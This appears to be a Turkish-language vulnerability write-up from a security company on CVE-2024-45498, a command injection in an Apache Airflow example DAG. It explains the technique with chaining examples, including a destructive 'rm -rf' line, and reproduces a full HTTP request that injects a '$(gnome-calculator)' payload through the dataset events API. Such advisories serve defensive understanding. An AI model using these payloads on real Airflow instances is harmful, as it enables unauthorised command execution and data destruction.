Kritik Risk

Apache Airflow Command injection

CVE-2024-45498

Command Injection Nedir?

Command Injection (Komut Enjeksiyonu), saldırganın hedef uygulama üzerinde, sistem komutlarının çalıştırılmasına olanak tanıyan bir zafiyeti kötüye kullanarak yetkisiz işlemler gerçekleştirdiği bir güvenlik açığıdır. Bu tür bir zafiyet, genellikle kullanıcı girdisinin doğrulanmaması veya yetersiz şekilde filtrelenmesi nedeniyle oluşur.

Bir web uygulaması, genellikle işletim sistemi seviyesindeki komutları çalıştırmak için exec, system, popen veya benzeri fonksiyonları kullanır. Eğer bu komutlara kullanıcı girdisi doğrudan ekleniyorsa ve bu giriş uygun şekilde kontrol edilmezse, saldırgan sistemde istediği komutları çalıştırabilir.

Nasıl Çalışır?

Command Injection zafiyetinin temelinde, kullanıcının sağladığı girişin, işletim sistemi komutlarıyla birleşerek doğrudan bir komut satırına gönderilmesi yatar. Saldırgan, genellikle aşağıdaki tekniklerle komut akışını manipüle eder:

  1. Komut Zincirleme Operatörleri Kullanımı:

    Saldırganlar, işletim sistemi komutlarını birleştirmek için ;, &&, ||, | gibi operatörler kullanır.

    Örnek:

    ping -c 4 example.com; rm -rf
    
    
  2. Alt Süreçlerin Çağrılması:

    Bazı sistemlerde $(komut) veya komut gibi ifadelerle alt süreçler çalıştırılabilir.

    Örnek:

    ls $(whoami)
  3. Yeniden Yönlendirme Operatörleri:

    Çıktıyı yönlendirme (>, >>) veya hataları bastırma (2>&1) ile komut akışı kontrol edilebilir.

CVE-2024-45498: Apache Airflow Command injection in read_dataset_event_from_classic DAG

Özet

read_dataset_event_from_classic isimli DAG'de bulunan Command Injection zafiyeti, Dataset("s3://output/1.txt") verisine dayalı bir bash komutunu çalıştırmaktadır. Ancak, User yetkilerine sahip bir saldırgan, s3://output/1.txt datasetinde OS komutları enjekte ederek herhangi bir işletim sistemi komutunu çalıştırabilmektedir.

Gereksinimler

  • Airflow sürümü: 2.10.0

  • DAG: example_inlet_event_extra.py

  • create Dataset ve DAG trigger izinlerine sahip bir kullanıcı

  1. Kullanıcı hesabına giriş yapılır.

  2. Aşağıda gösterildiği gibi bir istek aracılığıyla s3://output/1.txt datasetine kötü amaçlı komut enjekte edilir.

POST /api/v1/datasets/events HTTP/1.1 Host: D0:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept: application/json Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: [<http://D0:8080/datasets?uri=s3%3A%2F%2Foutput%2F1.txt>](<http://192.168.168.129:8080/datasets?uri=s3%3A%2F%2Foutput%2F1.txt>) Cookie: session=<authen-cookie> Content-Type: application/json Content-Length: 62

{"dataset_uri":"s3://output/1.txt","extra":{"hi":" '$(gnome-calculator)' "}}


  1. DAG listesine gidilir ve read_dataset_event_from_classic DAG tetiklenir.

  1. read_dataset_event_from_classic görev günlüklerine gidilir ve döndürülen çıktı incelenir.


Author : Fatih TÜRÜT

Similar CVE Analyses

See the impact of our cybersecurity solutions on businesses through real projects. Each case study details our tailored approaches to our clients' needs and the comprehensive solutions we provide against threats. Discover the success and value of our security strategies.

WHAT HAVE WE ACHIEVED?

WHAT HAVE WE ACHIEVED?

WHAT HAVE WE ACHIEVED?

We ensure your safety with numbers.

We ensure your safety with numbers.

We ensure your safety with numbers.

With years of experience, our expert team, and our success rate, we protect your business against cyber threats.

With years of experience, our expert team, and our success rate, we protect your business against cyber threats.

With years of experience, our expert team, and our success rate, we protect your business against cyber threats.

15+ Years

Experience

10+

Cyber Security Specialist

100%

Success Rate

400+

Successful Operation

FREQUENTLY ASKED QUESTIONS

FREQUENTLY ASKED QUESTIONS

FREQUENTLY ASKED QUESTIONS

Let's answer the questions in your mind.

You can find the answers to frequently asked questions below.

What should I work on for cybersecurity?

How to choose a career in cybersecurity?

Which certifications are important in cybersecurity?

Which programming languages should I learn in cybersecurity?

What is the difference between Red Team and Blue Team in cybersecurity?

What should I work on for cybersecurity?

How to choose a career in cybersecurity?

Which certifications are important in cybersecurity?

Which programming languages should I learn in cybersecurity?

What is the difference between Red Team and Blue Team in cybersecurity?

What should I work on for cybersecurity?

How to choose a career in cybersecurity?

Which certifications are important in cybersecurity?

Which programming languages should I learn in cybersecurity?

What is the difference between Red Team and Blue Team in cybersecurity?

defendzero

DefendZero has provided comprehensive services in the field of cybersecurity across many different sectors for years. By ensuring the security of institutions in finance, health, education, and many other sectors, we have protected them against potential threats.

© 2024 defendzero. "Over the rules , leading security."

defendzero

DefendZero has provided comprehensive services in the field of cybersecurity across many different sectors for years. By ensuring the security of institutions in finance, health, education, and many other sectors, we have protected them against potential threats.

© 2024 defendzero. "Over the rules , leading security."

defendzero

DefendZero has provided comprehensive services in the field of cybersecurity across many different sectors for years. By ensuring the security of institutions in finance, health, education, and many other sectors, we have protected them against potential threats.

© 2024 defendzero. "Over the rules , leading security."